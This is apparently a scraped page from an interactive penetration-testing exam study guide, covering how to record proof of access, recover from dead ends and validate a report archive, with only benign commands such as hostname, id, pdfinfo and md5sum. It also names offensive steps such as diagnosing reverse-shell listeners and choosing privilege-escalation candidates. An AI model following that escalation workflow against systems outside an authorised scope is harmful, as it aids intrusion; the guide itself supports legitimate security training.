A saved last-known-working state, recorded errors and a bounded next uncertainty

LAST WORKING STATE | FIRST FAILED BOUNDARY | EXACT ERROR | CHANGED CONDITION | DISCRIMINATING TEST
Open numbered procedure and alternatives →

What did you find?

Enabled: The new test identifies/fixes the actual boundary or justifies another enabled path: proceed.

Ruled out here: The same absent prerequisite remains unchanged: reject another identical attempt.

Unresolved: Unknown last-working state calls for a small reproducible baseline rather than another full chain.

Show connections

These are conditional possibilities. Check the named condition before moving.

Diagnose connection direction, listener and session failures in order — Command execution or payload delivery exists but the expected usable channel does not
Requires: A recorded first execution proof, correct advertised route, active compatible listener and observable connection evidence

Validate uncertain results and rebuild the service queue — Scanners disagree, a result is ambiguous, or a new identity changes accessible behavior
Requires: A selected endpoint and a test that can resolve the decision-changing uncertainty

Maintain state and select the next evidence-producing test — Several hosts, identities, routes or competing hypotheses need coordination
Requires: Explicit scope/objective and a record of observations, unknowns and available capabilities

Capture state-transition, proof and exploit-adaptation evidenceNot inspectedAccess, privilege, identity or route changes, or a report will need reproduction

Starting access: An assigned objective, scope and accumulated host/identity/route evidence

Discover the clue

hostname
id
ip addr

Read the result

A success screenshot or identity line can be real while the reproduction path is incomplete.

Still check: Capture the exact source/destination, method, material context, transition, relevant proof and adaptation steps privately.

Illustrative output
Saved record: command and output present
Host/identity: recorded
Route and reproduction parameters: missing
Validate prerequisites and compare methods

Known destination/identity, observable effect and a private evidence destination; actual exam proof requirements must be read from current official guidance

hostname
id
ip addr
Open numbered procedure and alternatives →

What did you find?

Enabled: The transition can be independently reconstructed from retained evidence: promote that verified result to the report.

Ruled out here: The record comes from the wrong host/context: reject it as proof for this objective.

Unresolved: A tool success string without observed effect leaves the access claim unproved.

Show connections

These are conditional possibilities. Check the named condition before moving.

Build and validate the report and submission artifacts — Verified findings and private transition evidence are ready for reporting
Requires: Complete reproduction path, required screenshots/proofs, suitable document tooling and the current submission naming/archive rules

Maintain state and select the next evidence-producing test — Several hosts, identities, routes or competing hypotheses need coordination
Requires: Explicit scope/objective and a record of observations, unknowns and available capabilities

Establish Linux state and choose an escalation candidate — A new Linux foothold or an identity/privilege change
Requires: A working command channel and accurate effective identity, group, mount and process context

Establish Windows token, host and process context — A new Windows session or claimed administrator/SYSTEM transition
Requires: A functioning command channel and the actual effective token/process context

Build and validate the report and submission artifactsNot inspectedVerified findings and private transition evidence are ready for reporting

Starting access: An assigned objective, scope and accumulated host/identity/route evidence

Discover the clue

pdfinfo REPORT.pdf
7z l REPORT.7z
md5sum REPORT.7z

Read the result

The container is valid while a reproduction instruction is unreadable; inspect rendered content as well as file structure.

Still check: Verify complete reproduction, legible pages, current required names/content and upload/local checksum when applicable.

Illustrative output
PDF: opens; page count available
Archive: contains REPORT.pdf
Rendered review: a command is clipped
Validate prerequisites and compare methods

Complete reproduction path, required screenshots/proofs, suitable document tooling and the current submission naming/archive rules

pdfinfo REPORT.pdf
7z l REPORT.7z
md5sum REPORT.7z
Open numbered procedure and alternatives →

What did you find?

Enabled: All rendered/content/archive checks pass: use the validated submission artifact.

Ruled out here: Missing/clipped proof or wrong archive content fails readiness despite successful compression.

Unresolved: Metadata alone leaves visual content and reproduction completeness unresolved.

Show connections

These are conditional possibilities. Check the named condition before moving.

Capture state-transition, proof and exploit-adaptation evidence — Access, privilege, identity or route changes, or a report will need reproduction
Requires: Known destination/identity, observable effect and a private evidence destination; actual exam proof requirements must be read from current official guidance

Recover from dead ends without repeating disproven paths — Repeated attempts add no new evidence or several layers have been changed at once
Requires: A saved last-known-working state, recorded errors and a bounded next uncertainty

Maintain state and select the next evidence-producing test — Several hosts, identities, routes or competing hypotheses need coordination
Requires: Explicit scope/objective and a record of observations, unknowns and available capabilities